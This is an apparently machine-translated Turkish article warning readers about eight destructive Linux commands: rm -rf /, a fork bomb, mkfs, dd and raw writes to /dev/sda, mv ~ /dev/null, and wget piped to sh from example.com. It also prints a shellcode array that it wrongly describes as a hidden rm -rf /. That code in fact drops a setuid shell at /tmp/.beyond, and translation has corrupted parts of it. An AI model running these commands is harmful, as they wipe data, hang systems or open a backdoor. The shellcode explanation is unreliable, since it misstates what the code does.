Linux'ta terminal komutları oldukça yıkıcıdır, eğer bir komutu çalıştırırsanız sisteminizi yok eder. Linux herhangi bir komutu çalıştırırken onaylamanızı gerektirmez.
Linux'ta hangi komutların çalıştırılmaması gerektiğini öğrenmek, Linux'ta çalışırken sisteminizin korunmasına yardımcı olur. Aşağıda Linux'ta asla çalıştırmamanız gereken 8 ölümcül komut bulunmaktadır.

1. rm -rf / - her şeyi sil
rm -rf / komutu, sabit sürücünüzdeki dosyalar ve bilgisayarınıza bağlı medya aygıtlarındaki dosyalar dahil her şeyi silecektir.
Bu komutu daha iyi anlamak için aşağıdaki şekilde analiz edin:
- rm – Aşağıdaki dosyaları silin.
- -rf – rm'yi çalıştırır (belirtilen bir klasördeki tüm dosya ve klasörleri siler) ve önce size sormadan tüm dosyaları zorla siler.
- / – rm'nin (rm deyin) bilgisayarınızdaki tüm dosyalar da dahil olmak üzere kök dizinde başladığını söyler.
Linux bu komutu memnuniyetle uygulayacak ve sizi uyarmadan her şeyi silecektir, bu nedenle bu komutu kullanırken dikkatli olun.
Ayrıca rm komutu çok tehlikeli şekillerde de kullanılıyor. Örneğin, rm –rf ~ Ana Klasörünüzdeki tüm dosyaları silecektir ve rm -rf .* tüm yapılandırma dosyalarınızı silecektir.
2. Gizli komut rm –rf /
İşte Web'in her yerindeki kod pasajı:
char esp[] __attribute__ ((bölüm(".text"))) /* esp sürümü */ = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68" " \xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99" "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7 " "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56" "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80 \x31" "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68\x00\x2d\x63\x00" "cp - p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;";
Bu aslında rm –rf / – komutunun başka bir sürümüdür, bu komutu yürütmek aynı zamanda rm –rf / komutunu çalıştırmak gibi tüm dosyalarınızı da siler.
3. :(){ :|: & };: – Bir tür gişe rekorları kıran film
![Linux'ta asla çalıştırılmaması gereken 8 ölümcül komut Linux'ta asla çalıştırılmaması gereken 8 ölümcül komut]()
Aşağıdaki komut satırı çok basit görünse de işlevi aslında çok tehlikelidir:
:(){ :|: & };:
Bu kısa komut kendisinin yeni kopyalarını oluşturacaktır. Yani, yedekleme işleminin kendisi sürekli olacak ve CPU'nuzun ve belleğinizin hızlı bir şekilde dolmasına neden olacaktır.
Ayrıca bilgisayarınızın donmasına neden olabilir. Temelde bir hizmet reddi (DoS) saldırısıdır.
4. mkfs.ext4 /dev/sda1 – Sabit sürücü formatları
mkfs.ext4 /dev/sda1 komutunu anlamak oldukça kolaydır:
- mkfs.ext4 - aşağıdaki cihazda bir ext4 dosya sistemi oluşturur.
- /dev/sda1 - kullanımda olan sabit sürücü olabilecek ilk sabit sürücüdeki ilk bölümü tanımlar.
Bu iki komutu birleştirmek, Windows'ta C: sürücüsünü biçimlendirmeye eşdeğerdir; ilk bölümünüzdeki tüm dosyaları silin ve bunları yeni dosya sistemiyle değiştirin.
Bu komut birçok farklı biçimde görünebilir, örneğin - mkfs.ext3 /dev/sdb2, ikinci sabit sürücünüzdeki ikinci bölümü ext3 dosya sistemiyle biçimlendirecektir.
5. komut > /dev/sda - doğrudan sabit sürücüye yaz
![Linux'ta asla çalıştırılmaması gereken 8 ölümcül komut Linux'ta asla çalıştırılmaması gereken 8 ölümcül komut]()
Komut satırı > /dev/sda - bir komutu çalıştırın ve bu komutun sonucunu doğrudan ilk sabit sürücünüze gönderin, verileri doğrudan sabit sürücüye yazın ve dosya sisteminizi yok edin.
- komut – Bir komutu çalıştırın (herhangi bir komut olabilir).
- > – komut çıktısını aşağıdaki konuma gönderir.
- /dev/sda – Komut çıktısını doğrudan sabit sürücü aygıtına yazın.
6. dd if=/dev/random of=/dev/sda – saçma verileri sabit sürücüye yazar
dd if=/dev/random of=/dev/sda satırı, sabit sürücülerinizden birindeki verileri silecektir.
- dd – bir konumdan diğerine düşük düzeyde kopyalama yapmaktır.
- if=/dev/random – Giriş olarak /dev/random kullanın – /dev/zero gibi adresler görebilirsiniz.
- of=/dev/sda – ilk sabit sürücüye çıktı vererek dosya sistemini rastgele saçma verilerle değiştirir.
7. mv ~ /dev/null – Ana Dizininizi bir Kara Deliğe Taşıyın
/dev/null - bir şeyi /dev/null'a taşımak onu yok etmekle aynıdır. /dev/null'u bir kara delik olarak düşünün. mv ~ /dev/null tüm kişisel dosyalarınızı bir kara deliğe gönderecektir.
- mv – aşağıdaki dosya veya klasörü başka bir konuma taşıyın.
- ~ – Ana Klasörünüzün tamamı.
- /dev/null – Ana Klasörünüzü /dev/null konumuna taşıyın, tüm dosyalarınızı yok edecek ve orijinal kopyaları silecektir.
8. wget http://example.com/birşey -O – | sh – bir komut dosyasını yükleyin ve çalıştırın
Yukarıdaki komut web'den bir komut dosyası indirecek ve komut dosyasını sh'ye gönderecek, bu da komut dosyasının içeriğini çalıştıracaktır. Bir betiğin ne olduğundan emin değilseniz veya güvenilir bir betik kaynağınız yoksa bu tehlikeli olabilir; güvenilmeyen betikleri çalıştırmayın.
wget – bir dosya indirin.
http://example.com/something – dosyaları bu konumdan indirin.
| – Wget komutunun çıktısını (indirilen sürüm dosyası) doğrudan başka bir komuta aktarın (gönderin).
sh – dosyayı sh komutuna gönder.
Aşağıdaki bazı makalelere bakın:
Eğlenmek!